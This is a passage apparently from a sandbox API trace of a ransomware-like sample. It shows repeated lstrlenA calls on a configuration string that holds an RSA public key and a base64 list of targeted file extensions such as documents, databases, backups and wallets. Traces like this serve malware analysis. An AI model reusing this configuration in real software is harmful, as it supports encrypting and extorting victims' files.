Lm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.128] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.128] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.129] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.129] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhb